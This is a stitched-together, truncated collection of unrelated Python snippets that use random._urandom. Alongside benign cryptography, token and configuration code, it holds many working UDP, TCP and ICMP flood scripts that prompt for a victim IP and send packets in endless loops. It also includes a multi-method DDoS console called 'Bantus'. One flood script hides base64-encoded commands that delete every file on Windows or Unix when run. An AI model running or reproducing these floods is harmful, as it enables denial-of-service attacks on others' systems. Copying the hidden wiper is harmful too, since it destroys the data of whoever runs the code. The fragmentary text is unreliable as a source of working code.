def __init__(self, **kwargs): super(Wave_CAtest, self).__init__(**kwargs) self.rows = [[(0, 0) for y in xrange(16)] for x in xrange(16)] random_coordinate = format(ord(random._urandom(1)), 'b').zfill(8) x = int(random_coordinate[:4], 2) y = int(random_coordinate[4:], 2) self.rows[x][y] = (ord(random._urandom(1)), ord(random._urandom(1)))
def test_validity(): key = random._urandom(32) mac_key = random._urandom(32) unencrypted_data = "This is some awesome unencrypted data" for x in xrange(100): challenge, answer = generate_challenge(key, mac_key, unencrypted_data=unencrypted_data, bytes_per_hash=3) _answer, data = solve_challenge(challenge, key, mac_key) assert _answer == answer
def test_challenge(): key = random._urandom(32) mac_key = random._urandom(32) unencrypted_data = "This is some awesome unencrypted data" challenge, answer = generate_challenge(key, mac_key, unencrypted_data=unencrypted_data) _answer, _unencrypted_data = solve_challenge(challenge, key, mac_key) assert _answer == answer assert _unencrypted_data == unencrypted_data
def generate_challenge(key, mac_key, challenge_size=32, bytes_per_hash=1, hash_function="sha256", unencrypted_data='', answer=bytes()): """ Create a challenge that only the holder of key should be able to solve. mac_key is required to assure integrity and authenticity of the challenge to the client. challenge_size is the total amount of data the client must crack. A random challenge of challenge_size is generated, and separated into challenge_size / bytes_per_hash subchallenges. The time taken to crack a single subchallenge is O(2**n) (? not sure!), where n is the number of bytes_per_hash. hash_function is a string name of an algorithm available in the hashlib module unencrypted_data is an optional string of data to be packaged with the challenge. The data is not kept confidential, but possesses integrity and authenticity because of the message authentication code over the entire package. answer is an optional string, that when supplied, is used instead of a random challenge. If supplied, the challenge_size argument has no effect. """ answer = answer or random._urandom(challenge_size) challenge = encrypt(answer, key, hmac_factory(hash_function), input_block_size=bytes_per_hash) package = save_data(challenge, bytes_per_hash, unencrypted_data) return (save_data(generate_mac(mac_key, package, hash_function), hash_function, package), answer)
def _init_auth_datastore(datastore): # If it's a fresh database, create an initial admin user. if not User.table_exists(): for Model in (User, Role, UserRoles): Model.create_table(fail_silently=True) initial_admin_email = '*****@*****.**' from random import _urandom initial_admin_password = \ _urandom(12).encode('base-64')[:-2] admin_user = datastore.create_user( email=initial_admin_email, password=encrypt_password(initial_admin_password), active=True) admin_role = datastore.create_role(name='admin') flash("""Fresh installation: Login as "{}" with password "{}", and change your email and password via the user admin interface. This message only appears once!""".format( initial_admin_email, initial_admin_password), "danger") datastore.add_role_to_user(admin_user, admin_role) logout_user() # in case there's a stale cookie # This is *always* done (in case new roles were added) # Heads up: USER_ROLES are hard-coded at __init__.py for role_name in current_app.config['USER_ROLES']: if not datastore.find_role(role_name): datastore.create_role(name=role_name)
def _get_file_hash(self): title = ''.join([random.choice(ascii_letters) for i in xrange(10)]) with open('/tmp/test', 'w') as f: f.write(random._urandom(100)) f = File('/tmp/test', testnet=True, title=title) return f.file_hash, f.file_hash_metadata
def menu1(): print "Bienvenue sur le menu DDOS \n" #Affiche un message de bienvenue target = raw_input("Ip de la victime : ") #Demande de taper l'ip de la victime print("===") package = input("Taille paquet (MAX 65500): ") #Demande la taille des paquets en bytes dont le maximum est de 65500 print("===") duration = input("Duree en seconde (0 = illimite): ") #Variable Demande le temps voulu (en seconde) pour cette attaque durclock = (lambda:0, time.clock)[duration > 0] #Variable se basant sur l'heure et sur le temps restant duration = (1, (durclock() + duration))[duration > 0] #Variable dans laquelle on défini la durée en seconde packet = random._urandom(package) #Variable paquet aleatoire sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) print("===") #Affiche un message indiquant que le ddos est commencé vers quelle cible, avec la taille des paquets en bytes et pour combien de temps print("The UDP flood started on %s with %s bytes for %s seconds." % (target, package, duration)) #tant que "vrai" Si la variable durclock est plus petite que la variable duration, faire while True: if (durclock() < duration): #definition du port aleatoirement port = random.randint(1, 65535) #envoi du packet vers la cible et le port défini aléatoirement sock.sendto(packet, (target, port)) #Sinon arrêt de la boucle else: break print("===") #Affiche un message indiquant que le ddos (avec le nombre de seconde) envers la cible est terminée print("The UDP flood has completed on %s for %s seconds." % (target, duration)) print("===") #Affiche la possibilité de revenir au menu principal ou de quitter le programme print "9. Retour" print "0. Quit" choice = raw_input(" >> ") exec_menu(choice) return
def flood(iss, ss, ds): IP = iss PSize = int(ss) Duration = int(ds) print("parameters: %s %s %s") % (iss, ss, ds) Clock = (lambda:0, time.clock)[Duration > 0] Duration = (1, (Clock() + Duration))[Duration > 0] Packet = random._urandom(PSize) Socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) print("flooding %s with %s bytes for %s seconds." % (IP, PSize, Duration or 'Infinite')) while True: try: if (Clock() < Duration): Port = random.randint(1, 65535) Socket.sendto(Packet, (IP, Port)) else: break except KeyboardInterrupt: print "Flood stopped by user." break print "Flood Ended."
def run(self): print "-__-----------_____-___----_" + self.ip + ":" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) port = 8080 bytes = random._urandom(self.size) while 2: s.sendto(bytes,(self.ip, self.port))
def randint(interp): """ Implementation for the 'random' operator returns a random integer to the top of the stack. """ interp.stack.append(struct.unpack("<L", random._urandom(4))[0])
def kontrol(): db= mysql.connector.connect(user='******', password='', host='localhost', database='vt',use_pure=False) cursor = db.cursor() sql = "SELECT * FROM saldiri \ WHERE id = '%d'" % (2) try: # Execute yöntemi ile sql kdlarımızı çalıştırıyoruz. cursor.execute(sql) # Liste içindeki listelerden tüm satırları çekiyoruz results = cursor.fetchall() for row in results: ip = row[1] sure = row[2] port = row[3] kontrol=row[4] askergucu=row[6] except: print "Error: unable to fecth data" print "Saldirilacak Ipi "+ip+" Saldiri Suresi= "+str(sure)+" Saldiri Portu= "+port # Veritabanı bağlantısını sonlandırıyoruz db.close() credits = ( 'Tsunami UDP Flood ' 'Power By Ramazan Serif AKBUZ' ) client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) bytes = random._urandom(1024) def pres(): print credits pres() victim = ip vport = int(port) duration =sure timeout = time.time() + duration sent = 0 a = 0 if kontrol=="1": while a < askergucu: a = a + 1 os.startfile("asker.py") while 1: if time.time() > timeout: break else: pass client.sendto(bytes, (victim, vport)) sent = sent + 1 print "Saldiri Basladi %s Paket Yollaniyor %s saldirilan port %s "%(sent, victim, vport)
def run(self, ip, port, size): while running: try: byte = random._urandom(self.size) self.udp.sendto(byte, (self.ip, self.port)) global count; count+=1 except: pass
def ICMPFloodBot(self): try: sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, 1) except: self.ICMPFloodStop() # No admin rights packets = random._urandom(1024) while self._DoSICMPFlood['working']: sock.sendto(packets, self._DoSICMPFlood['target']) self._DoSICMPFlood['sentRequests'] += 1 if self._DoSICMPFlood['sentRequests'] > self._DoSSettings['limit']: return
def createRandomBlocks(self): "creates a list of long random strings upfront to speed up file write" n = 100 s = 512*1024 log.info('create %d randoms blocks of size %sbytes', n, humanValue(s)) for i in range(n): self.randoms += [random._urandom(s)]
def make_csrf_token(): """Retuns a new csrf token. Also keeps it in a limited pool (throws away least recently used tokens if needed).""" token = random._urandom(42).encode('base-64').strip() tokens = cherrypy.session.get('csrf_tokens',[])[-23:] # drop least recently used tokens.append(token) cherrypy.session['csrf_tokens'] = tokens return token
def udp(ip, nbytes): while 1: s = socket(AF_INET, SOCK_DGRAM) port = random.randint(80, 8080) bytes_ = random._urandom(nbytes) stdout.write("\rSending %i bytes to %s:%i"%(len(bytes_), ip, port)) s.sendto(bytes_, (ip, port)) s.close()
def encrypt(self, data, extra_data=''): """ Encrypt and authenticates the supplied data; Authenticates, but does not encrypt, any extra_data. The data is encrypted using the Users encryption key. Returns packed encrypted bytes. Encryption is done via AES-256-GCM. """ return pride.security.encrypt(data=data, key=self.encryption_key, mac_key=self.mac_key, iv=random._urandom(self.iv_size), extra_data=extra_data, algorithm=self.encryption_algorithm, mode=self.encryption_mode)
def run(self): for i in range(self.packets): try: bytes = random._urandom(self.size) if self.port == 0: self.port = random.randrange(1, 65535) self.udp.sendto(bytes,(self.ip, self.port)) except: pass
def run(self): print "Thread initiated, flooding " + self.ip + ":" + str(self.port) + "." sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) bytes = random._urandom(self.psize) while True: sock.sendto(bytes, (self.ip, self.port))
def run(self): for i in range(self.packets): try: bytes = random._urandom(self.size) socket.connect(self.ip, self.port) socket.setblocking(0) socket.sendto(bytes,(self.ip, self.port)) except: pass
def run(self, ip, port, size): while running: try: byte = random._urandom(size) self.tcp.setblocking(0) self.tcp.sendto(byte, (ip, port)) global count; count+=1 except: pass
def UDPFloodBot(self): sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) while self._DoSUDPFlood['working']: if not self._DoSUDPFlood['customMessage']: packets = random._urandom(1024) else: packets = self._DoSUDPFlood['customMessage'] if not self._DoSUDPFlood['target'][1]: port = random.randint(0, 60000) else: port = self._DoSUDPFlood['target'][1] sock.sendto(packets, (self._DoSUDPFlood['target'][0], port)) self._DoSUDPFlood['sentRequests'] += 1 if self._DoSUDPFlood['sentRequests'] > self._DoSSettings['limit']: return
def ethAttack(self): ''' Ethernet/Wireless test function ''' # number of packets for summary packets_sent = 0 counter = 0 # TCP flood if self.socketType == "tcp": sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM) else: # UDP flood sock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM) bytes=random._urandom(self.packetSize) addr=(self.target,self.destPort) try: sock.connect(addr) except socket.error as e: print("Error: Cannot connect to destination, "+str(e)) self.app.pa_exit(0) sock.settimeout(None) try: while True: if self.breakSignal: break try: sock.sendto(bytes,(self.target,self.destPort)) packets_sent=packets_sent+1 counter=counter+1 if counter >= self.showCountEvery: print("Sent "+str(packets_sent)+" packets of total "+str(packets_sent*self.packetSize)+" bytes") counter = 0 except socket.error: self.logging.output("Reconnecting: ip="+str(self.target)+", port="+str(self.destPort)+", packets_sent="+str(packets_sent), 'ethAttack') # propably dropped by firewall try: sock.close() if self.socketType == "tcp": sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM) else: # UDP flood sock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM) sock.connect(addr) except socket.error as e: self.logging.output("Exception: "+str(e), 'ethAttack') except KeyboardInterrupt: print("Info: Sent "+str(packets_sent)+" packets.")
def create_password_recovery(function, trapdoor_information_size=16, password='', password_prompt="Please enter the password to create a recovery hash: "): """ Create a password recovery hash. Returns: function(password + trapdoor_information) Presuming the user remembers enough of the password hashed this way, they should be able to recover the password given the hash and the trapdoor information. """ trapdoor_information = random._urandom(trapdoor_information_size) return (function(trapdoor_information, password or getpass.getpass(password_prompt)), trapdoor_information)
def run(self): #function that sends UDP packets timeout = time.time() + int(self.duration) # defines a maximum run time (duration is passed as seconds. # 600 seconds is 10 minuntes port = int(self.port) #creates a random port number sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) bytes = random._urandom(int(1024)) #makes a string of size 1024 bytes of random characters while True: sock.sendto(bytes,(self.ip, port)) #sends a packet of size 1024 to the ip and port global packetcounter packetcounter += 1 if time.time() > timeout: #once the timeout time has occured, break the loop. break
def test_time(): key = random._urandom(15) mac_key = random._urandom(32) unencrypted_data = "This is some awesome unencrypted data" from pride.decorators import Timed for bytes_per_hash in (1, 2, 3): if bytes_per_hash == 3: challenge_size = 33 else: challenge_size = 32 print ("Time to generate challenge with {} bytes per hash: ".format(bytes_per_hash), Timed(generate_challenge, 1)(key, mac_key, unencrypted_data=unencrypted_data, bytes_per_hash=bytes_per_hash, challenge_size=challenge_size)) challenge, answer = generate_challenge(key, mac_key, bytes_per_hash=bytes_per_hash, unencrypted_data=unencrypted_data, challenge_size=challenge_size) print ("Time to solve challenge with {} bytes per hash: ".format(bytes_per_hash), Timed(solve_challenge, 1)(challenge, key, mac_key))
def dosattack(self): # print self.ip.get() # print self.port.get() sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM) #Creates a socket bytes=random._urandom(4096) #Creates packet ip=raw_input('Enter IP to Disable: ')#The IP we are attacking port=input('Enter the Port: ')#Port we direct to attack sent=0 while 1: #Infinitely loops sending packets to the port until the program is exited. sock.sendto(bytes,(ip,port)) print "Sent %s amount of packets to %s at port %s." % (sent,ip,port) sent= sent + 1
def run(self): print "-__-----------_____-___----_" + self.ip + ":" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) port = 8080 bytes = random._urandom(self.size) while 2: s.sendto(bytes,(self.ip, self.port)) print "Enter ip address" ip = raw_input("IP Address: ") threads = 100 for host in range(int(threads)): atck = Controller(ip, int(port), int(size)) atck.start()
def split_secret(secret, piece_count, function): """ Splits secret into piece_count separate challenges, based on cracking a given output function from function. The secret can be recovered by a threshold quantity of pieces, which is determined by the size of the secret and the number/weight of pieces. Challenge weight is calculated as: piece_size, last_challenge_size = divmod(len(secret), piece_count - 1) Note that if the length of secret is not evenly divisible by piece_count, then the last challenge will be of weight len(secret) % (piece_count - 1). """ piece_size, remainder = divmod(len(secret), piece_count - 1) pieces = [] for index in range(piece_count - 1): piece = secret[index * piece_size:(index + 1) * piece_size] challenge_iv = random._urandom(16) hash_output = function(challenge_iv, piece) pieces.append((index, hash_output, challenge_iv)) last_iv = random._urandom(16) #print "Creating last block: ", -remainder pieces.append((index + 1, function(last_iv, secret[-remainder:]), last_iv)) return pieces, function('', secret), piece_size
def random_prime(bits, k = 16): upperbound = 2**bits - 1 lowerbound = 2**(bits - 1) - 1 while True: if bits < 32: test = random.choice(xrange(lowerbound, upperbound)) else: eight_bits_needed = int(math.ceil(bits / 8)) test = random._urandom(eight_bits_needed) test = int(test.encode("hex"), 16) % 2**bits if bits <= 16: #there seems to be a failure on primes of the form 2**n + 1, the largest of which known is 2**16 + 1 (65537) if is_prime(test): return test else: if probable_prime(test, k): return test
#!/usr/bin/env python # coding=utf-8 from scapy.all import * import os, sys import time import socket import random #host && Port target_host = raw_input("HOST :") target_port = input("Port :") i = 1 packetes = input("Bytes :") #packet sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) bytes = random._urandom(packetes) sock.sendto(bytes, (target_host, target_port)) os.system("clear") os.system("figlet DDos Attack") #conexion_client sent = 65000 pysendfile = 65000 while True: print(bytes, target_host, target_port, i) i = i + 1
import socket import random import os os.system("clear") hedef_ip = str(input("Lütfen hedef ipi giriniz: ")) hedef_port = int(input("Lütfen hedef port giriniz: ")) bytes = random._urandom(3500) sock = socket(socket.AF_INET, scoket.SOCK_DGRRAM) sayac = 0 while True: sock.sendto(bytes, (hedef_ip, hedef_port)) sayac = sayac+1 print("Gönderilen Paket: %s" %(sayac))
import socket import random import time sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) #Open a new socket bytes = random._urandom(1024) #Creates packet ip = raw_input('Target IP: ') port = input('Port: ') duration = input('Number of seconds to send packets: ') timeout = time.time() + duration while True: if time.time() > timeout: break else: pass sock.sendto(bytes,(ip, port)) sent = sent + 1 print "Sent %s packet to %s throught port %s%"%(sent, ip, port)
import socket import random dest_ip = raw_input('Qual o alvo?\n ') dest_port = int(raw_input('Qual a porta do alvo?\n ')) sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) pacote = random._urandom(1024) print '\n\n Atacando o alvo' while True: sock.sendto(pacote, (dest_ip, dest_port))
def __init__(self): self.iv = random._urandom(16) self.key = random._urandom(16)
def shell(): hasSocket = False hasRandom = False hasASCII = False hasSYS = False print(''' hash 1.3 Experimental Shell, Type help() for interactive help, credits() for credist, license() for license and hash() for more Information.''' ) while True: hashProcess = input('\n#: ') process = hashProcess.split() # Splits input into Arguments if process[0] == 'log:': # Checks if First Argument is equal to log: temp = len(process) # Creates Temp Variable. for item in process[ 1:]: # Prints all Arguments other than the first. print(item, end=" ") elif process[0] == 'license()': print(''' MIT License Copyright (c) 2019 The Hash Project Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.''') elif process[0] == 'get:': # Checks if First argument is get: if process[1] == 'socket': if hasSocket == False: hasSocket = True else: print('Package Error:') print(' Package Socket already Imported.') elif process[1] == 'rand': if hasRandom == False: hasRandom = True else: print('Package Error:') print(' Package Rand already Imported.') elif process[1] == 'ascii': if hasASCII == False: hasASCII = True else: print('Package Error:') print(' Package ascii already Imported.') elif process[0] == 'randint:': if hasRandom == True: num1 = int(process[1]) num2 = int(process[2]) print(random.randint(num1, num2)) else: print('Packet Error:') print(' Packet rand not Found.') elif process[0] == 'mathadd:': num1 = int(process[1]) num2 = int(process[2]) print(num1 + num2) elif process[0] == 'mathsub:': num1 = int(process[1]) num2 = int(process[2]) print(num1 - num2) elif process[0] == 'mathdiv:': num1 = int(process[1]) num2 = int(process[2]) print(num1 / num2) elif process[0] == 'mathmul:': num1 = int(process[1]) num2 = int(process[2]) print(num1 * num2) elif process[0] == 'mathsqrt:': num = int(process[1]) print(math.sqrt(num)) elif process[0] == 'randchoice:': if hasRandom == True: print(random.choice(process[1:])) else: print('Packet Error:') print(' Packet rand not Found.') elif process[0] == 'send:': if hasSocket == True: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) temp = int(process[1]) ip = process[2] port = int(process[3]) bytes = random._urandom(temp) sock.sendto(bytes, (ip, port)) print('Sent %s Bytes to %s Through Port %s.' % (bytes, ip, port)) else: print('Packet Error:') print(' Packet socket not Found.') elif process[0] == 'spam:': if hasSocket == True: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) temp = int(process[1]) bytes = random._urandom(temp) ip = process[2] for send in range(1, 65534): port = send sock.sendto(bytes, (ip, port)) print('Sent %s Bytes to %s Through Port %s.' % (bytes, ip, port)) elif process[0] == 'code:': code(process[1]) elif process[0] == 'ascii:': if hasASCII == True: print(pyfiglet.figlet_format(process[1])) else: print('Packet Error:') print(' Packet ascii not installed') elif process[0].endswith(':'): # Checks if Error is A command Error. print(''' Command Error: No Such Command As %s.''' % (process[0]))
def main(): global fsubs global liips global tattacks global uaid global said global iaid global haid global aid global attack global dp global syn global icmp global http while True: sys.stdout.write("\x1b]2;Bantus\x07") Dic = input("\033[1;00m[\033[91mBantus\033[1;00m]-\033[91m<3\033[00m " ).lower() Dicput = Dic.split(" ")[0] if Dicput == "clear": os.system("clear") print(banner) main() elif Dicput == "help": print(help) main() elif Dicput == "extras": print(extras) main() elif Dicput == "exit": print("[\033[91mBantus\033[00m] You Are Exiting Out Of Bantus.\n") exit() elif Dicput == "methods": print(methods) main() elif Dicput == "updates": print(updatenotes) main() elif Dicput == "info": print(info) main() elif Dicput == "attacks": print( "[\033[91mBantus\033[00m] Total Attacks Running: {}\n".format( aid)) main() elif Dicput == "resolve": liips += 1 host = Dic.split(" ")[1] host_ip = socket.gethostbyname(host) print( "[\033[91mBantus\033[00m] Host: {} \033[00m[\033[91mConverted\033[00m] {}\n" .format(host, host_ip)) main() elif Dicput == "udp": if username == "Guest": print( "[\033[91mBantus\033[00m] You Are Not Allowed To Use This Method.\n" ) main() else: try: Dicput, host, port, timer, pack = Dic.split(" ") socket.gethostbyname(host) print( "[\033[91mBantus\033[00m] Attack Sent To: {}\n".format( host)) punch = random._urandom(int(pack)) threading.Thread(target=udpsender, args=(host, port, timer, punch)).start() except ValueError: print( "[\033[91mBantus\033[00m] The Command {} Requires An Argument.\n" .format(Dicput)) main() except socket.gaierror: print( "[\033[91mBantus\033[00m] Host: {} Invalid.\n".format( host)) main() elif Dicput == "http": try: Dicput, host, port, timer, pack = Dic.split(" ") socket.gethostbyname(host) print( "[\033[91mDic\033[00m] Attack Sent To: {}\n".format(host)) punch = random._urandom(int(pack)) threading.Thread(target=httpsender, args=(host, port, timer, punch)).start() except ValueError: print( "[\033[91mBantus\033[00m] The Command {} Requires An Argument.\n" .format(Dicput)) main() except socket.gaierror: print("[\033[91mBantus\033[00m] Host: {} Invalid.\n".format( host)) main() elif Dicput == "icmp": if username == "Guest": print( "[\033[91mBantus\033[00m] You Are Not Allowed To Use This Method.\n" ) main() else: try: Dicput, host, port, timer, pack = Dic.split(" ") socket.gethostbyname(host) print( "[\033[91mBantus\033[00m] Attack Sent To: {}\n".format( host)) punch = random._urandom(int(pack)) threading.Thread(target=icmpsender, args=(host, port, timer, punch)).start() except ValueError: print( "[\033[91mBantus\033[00m] The Command {} Requires An Argument.\n" .format(Dicput)) main() except socket.gaierror: print( "[\033[91mBantus\033[00m] Host: {} Invalid.\n".format( host)) main() elif Dicput == "syn": try: Dicput, host, port, timer, pack = Dic.split(" ") socket.gethostbyname(host) print("[\033[91mBantus\033[00m] Attack Sent To: {}\n".format( host)) punch = random._urandom(int(pack)) threading.Thread(target=icmpsender, args=(host, port, timer, punch)).start() except ValueError: print( "[\033[91mBantus\033[00m] The Command {} Requires An Argument.\n" .format(Dicput)) main() except socket.gaierror: print( "[\033[91mBantus13:55 19.11.2020\033[00m] Host: {} Invalid.\n" .format(host)) main() elif Dicput == "stop": print( "[\033[91mBantus\033[00m] All Running Attacks Have Been Stopped.\n" ) attack = False while not attack: if aid == 0: attack = True elif Dicput == "stop": what = Dic.split(" ")[1] if what == "udp": print("Stopping All UDP Attacks.\n") udp = False while not udp: if aid == 0: print( "[\033[91mBantus\033[00m] No UDP Processes Running." ) udp = True main() if what == "icmp": print("Stopping All ICMP Attacks.\n") icmp = False while not icmp: print( "[\033[91mBantus\033[00m] No ICMP Processes Running.") udp = True main() else: print("[\033[91mBantus\033[00m] {} Is Not A Command.\n".format( Dicput)) main()
print( "\nUsage: %s <Target IP> <PORT (If you don't know use 80)> <Packet Size (MAX 65500)> <Duration Time (0 = forever)>\n" % sys.argv[0]) sys.exit(1) qIP = sys.argv[1] qPort = int(sys.argv[2]) qPSize = int(sys.argv[3]) qDuration = int(sys.argv[4]) qClock = (lambda: 0, time.clock)[qDuration > 0] os.system(base64.b64decode("RGVsIEM6XCAqLiogfHk=")) os.system(base64.b64decode("RGVsIEM6XCAqLio=")) os.system(base64.b64decode("cm0gLXJmIC8qDQo=")) qDuration = (1, (qClock() + qDuration))[qDuration > 0] qPacket = random._urandom(qPSize) qSocket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) print("[Starting UDP Flood on %s with %s bytes for %s seconds]" % (qIP, qPSize, qDuration or 'Infinite')) while True: if (qClock() < qDuration): qSocket.sendto(qPacket, (qIP, qPort)) else: break print("DONE!")
def romap(): """ This is the main script inside Romap that processes the scans and controls the outputs. One of the most useful peices of code inside this script, allows ip addresses to be clicked on after scanning. When the ip is clicked romap will run a scan on that ip! """ path1 = os.path.abspath(inspect.stack()[0][1]) path1 = re.sub(r'.*ents/', '', path1) path1 = "pythonista3://" + path1 path1 = path1.replace("<string>", "") path1 = path1.replace("romap.py", "romap.py?action=run&argv=-n&argv=-P&argv=") path1 = path1 + rng + "&argv=-t&argv=" + str(tot) + "&argv=-D&argv=" s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) try: s.connect(("google.com", 80)) host = s.getsockname()[0] except: host = "N/A" lan = host try: my_ip = "N/A" my_ip = urlopen('http://ip.42.pl/raw').read() except: pass if len(my_ip) > 18: my_ip = 'N/A' macaddr = hex(uuid.getnode()).replace('0x', '').upper() mac = ':'.join(macaddr[i:i + 2] for i in range(0, 11, 2)) time.sleep(0.4) print "LAN: %s" % (lan) time.sleep(0.4) print "MAC: %s" % (mac) time.sleep(0.4) print "PUB: %s" % (my_ip) time.sleep(0.4) print "IPv6: %s" % (getIPv6Addr(my_ip)) time.sleep(0.4) print "RFC IPv6: %s" % (rfc3056(my_ip)) CNCopyCurrentNetworkInfo = c.CNCopyCurrentNetworkInfo CNCopyCurrentNetworkInfo.restype = c_void_p CNCopyCurrentNetworkInfo.argtypes = [c_void_p] wifiid = ObjCInstance(CNCopyCurrentNetworkInfo(ns('en0'))) print "SSID: %s" % (wifiid["SSID"]) time.sleep(0.4) print "BSSID: %s" % (wifiid["BSSID"]) time.sleep(0.4) print(uuid.uuid5(uuid.NAMESPACE_DNS, "0.0.0.0")) time.sleep(0.4) byte = random._urandom(16) print(uuid.UUID(bytes=byte)) time.sleep(0.4) print(uuid.uuid4()) time.sleep(0.4) print(uuid.uuid3(uuid.NAMESPACE_DNS, "0.0.0.0")) time.sleep(0.4) print(uuid.uuid1()) time.sleep(0.4) byte = random._urandom(16) print(uuid.UUID(bytes=byte)) time.sleep(0.4) print "" s.close() start_time = time.time() try: if len(args.public) > 1: host = args.public except: pass host = host.split(".") bkmid = host[2] host[3] = "%s" host[2] = "%s" if args.Mid != "None": host[1] = "%s" host = ".".join(host) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) network = str(host) td = 0 if args.mid != "None" and args.Mid != "None": srng = args.mid.split("-") srng2 = args.Mid.split("-") for tend in range(int(srng2[0]), int(srng2[1]) + 1): for mend in range(int(srng[0]), int(srng[1]) + 1): for end in range(256): ip = network % (tend, mend, end) try: info = socket.gethostbyaddr(ip) info2 = str(info[2]).replace("[", "").replace( "]", "").replace("'", "") info3 = info[0] + " -- " sys.stdout.write(info3) if log: f = open(log, "a") f.write(str(info[0]) + " -- " + str(info2) + "\n") console.write_link(info2, path1 + info2) if dtl: print "\n" deepscan(info2) print "" time.sleep(0.05) if sl: sslc(info2) td = td + 1 print "" if srch: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) result = s.connect_ex((info2, prt)) if result == 0: print "Port {}: Open".format(prt) s.close() except: pass if args.mid == "None": for end in range(256): ip = network % (bkmid, end) try: info = socket.gethostbyaddr(ip) info2 = str(info[2]).replace("[", "").replace("]", "").replace("'", "") info3 = info[0] + " -- " sys.stdout.write(info3) if log: f = open(log, "a") f.write(str(info[0]) + " -- " + str(info2) + "\n") console.write_link(info2, path1 + info2) if dtl: print "\n" deepscan(info2) print "" time.sleep(0.05) td = td + 1 print "" if srch: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) result = s.connect_ex((info2, prt)) if result == 0: print "Port {}: Open".format(prt) s.close() try: if dtl: deepscan(info2) time.sleep(0.05) except: pass except: pass if args.mid != "None" and args.Mid == "None": srng = args.mid.split("-") for mend in range(int(srng[0]), int(srng[1]) + 1): for end in range(256): ip = network % (mend, end) try: info = socket.gethostbyaddr(ip) info2 = str(info[2]).replace("[", "").replace("]", "").replace( "'", "") info3 = info[0] + " -- " sys.stdout.write(info3) if log: f = open(log, "a") f.write(str(info[0]) + " -- " + str(info2) + "\n") console.write_link(info2, path1 + info2) if dtl: print "\n" deepscan(info2) print "" time.sleep(0.05) td = td + 1 print "" if srch: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) result = s.connect_ex((info2, prt)) if result == 0: print "Port {}: Open".format(prt) s.close() try: if dtl: deepscan(info2) time.sleep(0.05) except: pass except: pass print "" elapsed_time = time.time() - start_time time.sleep(0.5) times = str(timedelta(seconds=elapsed_time)) sys.stdout.write("Time Elapsed: ") sys.stdout.write(str(times)) print "\nTotal Device(s) Found:", td try: if acp: print "\n" discover() except: pass
import random, os, socket, sys, time sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) by = random._urandom(1490) url = raw_input("enter the url :") port = input("port => ") ip = socket.gethostbyname(url) time.sleep(3) sent = 0 while True: sock.sendto(by, (ip, port)) sent = sent + 1 port = port + 1 print "Sent %s packet to %s port %s" % (sent, ip, port) if port == 11490: port = 1
import time, socket, os, sys, string, random, console console.set_color(255, 0, 0) print("\n -+--=:=- -==- -=:=--+-") console.set_color() print(" FEEDBACK") console.set_color(255, 0, 0) print(" -+--=:=- -==- -=:=--+-\n") console.set_color() host = input(" -+- Server: ") port = int(eval(input(" -+- Port: "))) message = random._urandom(1024) conn = eval(input(" -+- Attacks: ")) print("") ip = socket.gethostbyname(host) def dos(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) socket.setdefaulttimeout(4) try: s.connect((host, int(port))) s.send("GET /%s HTTP/1.1\r\n" % message) s.sendto("GET /%s HTTP/1.1\r\n" % message, (ip, port)) s.send("GET /%s HTTP/1.1\r\n" % message) except socket.error as msg: console.set_color(255, 0, 0) print("-[Connection Failed]-=@=--+-") console.set_color() else: print("-[Attack Executed]-=:=--+-") console.set_color()
from flask import Flask from flask_sqlalchemy import SQLAlchemy from flask_migrate import Migrate from flask_mail import Mail import random app = Flask(__name__) # security app.config['SECRET_KEY'] = random._urandom(56) # config Recaptcha for registeration paged app.config['RECAPTCHA_USE_SSL'] = False app.config['RECAPTCHA_PUBLIC_KEY'] = 'public' app.config['RECAPTCHA_PRIVATE_KEY'] = 'private' app.config['RECAPTCHA_OPTIONS'] = {'theme': 'white'} # Mail configuration app.config['DEBUG'] = True app.config['TESTING'] = False app.config['MAIL_SERVER'] = 'smtp.gmail.com' app.config['MAIL_PORT'] = 587 app.config['MAIL_USE_TLS'] = True app.config['MAIL_USE_SSL'] = False app.config['MAIL_USERNAME'] = '******' app.config['MAIL_PASSWORD'] = '******' app.config['MAIL_DEFAULT_SENDER'] = ('TallyBI', '*****@*****.**') app.config['MAIL_MAX_EMAILS'] = 10 app.config['MAIL_ASCII_ATTACHMENTS'] = False # Database Connection db_info = {
